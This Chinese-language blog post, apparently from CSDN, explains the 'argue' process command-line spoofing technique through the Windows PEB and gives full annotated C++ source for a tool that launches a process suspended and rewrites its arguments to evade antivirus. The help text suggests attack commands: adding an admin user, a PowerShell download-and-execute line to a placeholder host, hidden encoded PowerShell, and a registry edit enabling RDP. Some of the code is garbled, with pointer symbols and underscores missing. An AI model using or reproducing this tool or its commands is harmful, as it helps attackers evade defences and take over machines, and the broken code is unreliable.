【argue】进程参数欺骗

进程参数欺骗原理

我们了解到利用argue进程参数欺骗可以在一定程度上绕过杀软拦截。它的原理是怎样的?

首先我们可以了解到,在一个进程运行后,它的运行参数是保存在进程空间的。如果我们获取到保存参数的进程内存地址,并将参数进行修改(修改并不影响原始的参数功能,因为在修改之前已经被启动了)那么就可以达到“欺骗”杀软,达到不被拦截的目的。至于参数保存在进程空间的哪里,如何去获取就是接下来要讨论的。

PEB进程环境块

PEB进程环境块中存放进程相关的一些信息,而我们需要的commandline就保存在PEB里。与PEB相对应的有TEB线程环境块。

如何获取PEB?

一般的,在NT x86系统下,利用FS:[x30]就可以指向PEB,FS寄存器指向TEB,可利用内联汇编方式获取:

__asm
{
mov eax,fs:[0x30]
mov PEB,eax
}

这种方法适用于在当前进程获取,如果要读取其他进程相关信息,就不是特别方便了。

可以利用NtQueryInformationProcess函数来获取。该函数是windows NTDLL.DLL中的未公开的API函数。 用它可以将指定类型的进程信息拷贝至某个缓冲区。

函数原型:

NTSYSAPI NTSTATUS NTAPI NtQueryInformationProcess (
      IN HANDLE ProcessHandle, // 进程句柄
      IN PROCESSINFOCLASS InformationClass, // 信息类型
      OUT PVOID ProcessInformation, // 缓冲指针
      IN ULONG ProcessInformationLength, // 以字节为单位的缓冲大小
      OUT PULONG ReturnLength OPTIONAL     // 写入缓冲的字节数
);

一般情况下,path,commandline 等信息存在PEB+0x20h的位置的_RTL_USER_PROCESS_PARAMETERS结构体内。(盗wbglil师傅的图) 其中ESI指向PEB

在这里插入图片描述

在_RTL_USER_PROCESS_PARAMETERS结构体中又指向_UNICODE_STRING结构体,这个结构体保存有commandline字符串信息。

在这里插入图片描述

0:001> dt _UNICODE_STRING 0x00000240`e4b220e0+0x60
ntdll!_UNICODE_STRING
 "C:\Windows\system32\cmd.exe"
   +0x000 Length           : 0x36
   +0x002 MaximumLength    : 0x38
   +0x008 Buffer           : 0x00000240`e4b22728  "C:\Windows\system32\cmd.exe"
0:001> dt _UNICODE_STRING 0x00000240`e4b220e0+0x70
ntdll!_UNICODE_STRING
 ""C:\Windows\system32\cmd.exe" "
   +0x000 Length           : 0x3c
   +0x002 MaximumLength    : 0x3e
   +0x008 Buffer           : 0x00000240`e4b22760  ""C:\Windows\system32\cmd.exe" "

了解到commandline保存的位置之后,就可以利用NtQueryInformationProcess来一步步获取对应进程的commandline信息。

获取流程

  1. 创建一个挂起的进程

  2. 读取PEB内的_RTL_USER_PROCESS_PARAMETERS结构体

  3. 定位到commandline的buffer指针

  4. 修改buffer的存放的commandline

附上wbglil大佬的代码,比较全面了,这里做一下详细的注释:

#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include<string>

using namespace std;


//声明,以便后续获取NtQueryInformationProcess函数地址时进行类型转换
typedef NTSTATUS(NTAPI *_NtQueryInformationProcess)(
	IN HANDLE ProcessHandle,  //进程句柄
	ULONG ProcessInformationClass, //信息类型
	OUT PVOID ProcessInformation, //缓冲指针
	IN ULONG ProcessInformationLength, //以字节为单位的缓冲大小
	OUT PULONG ReturnLength OPTIONAL //写入缓冲的字节数
	);

//读取目标进程空间,返回一个指针(地址)
void* readProcessMemory(HANDLE process, void address, DWORD bytes) {
	//SIZE_T bytesRead;
	char* alloc;
	alloc = (char*)malloc(bytes);
	if (alloc == NULL) {
		return NULL;
	}

	if (ReadProcessMemory(process, address, alloc, bytes, NULL) == 0) {
		free(alloc);
		return NULL;
	}
	return alloc;
}


//想目标进程空间写入数据
BOOL writeProcessMemory(HANDLE process, void address, void data, DWORD bytes) {
	//SIZE_T bytesWritten;
	if (WriteProcessMemory(process, address, data, bytes, NULL) == 0) {
		return false;
	}
	return true;
}

//字符串转宽字符
wstring charToWstring(const char* szIn)
{
	int length = MultiByteToWideChar(CP_ACP, 0, szIn, -1, NULL, 0);
	WCHAR* buf = new WCHAR[length + 1];
	ZeroMemory(buf, (length + 1) * sizeof(WCHAR));
	MultiByteToWideChar(CP_ACP, 0, szIn, -1, buf, length);
	std::wstring strRet(buf);
	delete[] buf;
	return strRet;
}

int main(int argc, char** argv)
{
	if (argc < 2) {
		printf("Usage:argue.exe \"net1.exe xx\" \"net1.exe user admin /add\" \n");
		printf("-h help");
		return 1;
	}

if (strcmp(argv[1], "-h") == 0)
{
		printf("[+] \" Escape \\\" \n");
		printf("[+] The length of parameter 1 must be greater than parameter 2.\n");
		printf("[+] Common command: \n");
		printf("argue.exe \"net1.exe xxxx\" \"net1.exe user admin pass /add\" \n");
		printf("argue.exe \"net localgroup\" \"Administrators admin /add\" \n");
		printf("argue.exe \"powershell.exe xx\" \"powershell.exe -nop -c \\\"iex(New - Object Net.WebClient).DownloadString('http://xxx/')\\\" \" \n");
		printf("argue.exe \"powershell.exe xx\" \"powershell.exe -ExecutionPolicy bypass -windowstyle hidden -EncodedCommand Base64\" \n");
		printf("argue.exe \"regedit.exe xx\" \"regedit.exe /s file.reg\" \n");
		printf("argue.exe \"reg.exe xxx\" \"reg.exe add \\\"HKEYLOCALMACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f\" \n ");
		return 1;
	}
	if (strlen(argv[1]) < strlen(argv[2]))
	{
		printf("[!] Error: Parameter 1 is less than parameter 2 \n");
		return 1;
	}

//声明一些需要的变量
	STARTUPINFOA si;
	PROCESS_INFORMATION pi;
	BOOL success;
	PROCESSBASICINFORMATION pbi;
	PEB pebLocal;
	RTLUSERPROCESSPARAMETERS parameters;
	memset(&si, 0, sizeof(si));
	si.wShowWindow = SW_HIDE;
	memset(&pi, 0, sizeof(pi));

	// 创建进程
	success = CreateProcessA(
		NULL,
		argv[1],
		NULL,
		NULL,
		FALSE,
		CREATESUSPENDED | CREATENO_WINDOW,//以挂起状态启动进程
		NULL,
		//"C:\\Windows\\System32\\",
		NULL,
		&si,
		&pi);



	if (success == FALSE) {
		printf("[!] Error: Unable to call CreateProcess to create process\n");
		return 1;
	}



	//获取NtQueryInformationProcess函数地址
	NtQueryInformationProcess ntpi = (NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
	//利用获取到的NtQueryInformationProcess函数拷贝进程信息到pbi
	ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

	//利用获取到的进程信息读取进程空间,获取peb数据到pebLocal
	success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), NULL);

	if (success == FALSE)
	{
		TerminateProcess(pi.hProcess, 0);
		CloseHandle(pi.hProcess);
		printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
		return -1;
	}



	//从PEB获取ProcessParameters
	parameters = (RTLUSERPROCESSPARAMETERS)readProcessMemory(
		pi.hProcess,
		pebLocal.ProcessParameters,
		sizeof(RTLUSERPROCESS_PARAMETERS) + 300
	);



	//设置我们要使用的实际参数
	wstring wspoofed = charToWstring(argv[2]);
	WCHAR wcharwspoofed = (WCHAR)wspoofed.cstr();
	//向进程PEB空间写入自己伪造的进程参数
	success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void)wcharwspoofed, wcslen(wcharwspoofed)  2 + 1);

	if (success == FALSE) {
		TerminateProcess(pi.hProcess, 0);
		CloseHandle(pi.hProcess);
		printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
		return 1;
	}

	//更新命令行长度欺骗进程浏览器
	DWORD newUnicodeLen = 5;
	success = WriteProcessMemory(
		pi.hProcess,
		(char)pebLocal.ProcessParameters + offsetof(RTLUSERPROCESSPARAMETERS, CommandLine.Length),
		(void*)&newUnicodeLen, 4, NULL);

	if (success == FALSE) {
		TerminateProcess(pi.hProcess, 0);
		CloseHandle(pi.hProcess);
		printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
		return 1;
	}



	//恢复挂起的进程,进程参数欺骗完成
	ResumeThread(pi.hThread);
}
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值